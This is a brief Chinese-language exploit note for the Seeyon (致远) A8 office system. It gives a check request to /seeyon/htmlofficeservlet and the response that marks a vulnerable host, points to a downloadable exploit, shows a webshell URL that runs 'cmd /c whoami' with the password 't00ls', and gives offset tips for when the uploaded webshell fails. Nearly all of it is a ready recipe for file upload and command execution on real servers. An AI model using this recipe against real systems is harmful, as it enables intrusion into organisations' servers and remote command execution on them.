在线加/解密致远A8文件名





POC:   访问/seeyon/htmlofficeservlet出现:

DBSTEP V3.0 0 21 0 htmoffice operate err'''

EXP:   点我下载       Shell如下:
http://******/seeyon/自己定义的文件名?pwd=t00ls&cmd=cmd +/c+whoami

上传的小马如果报错尝试改变起始长度300或结束长度718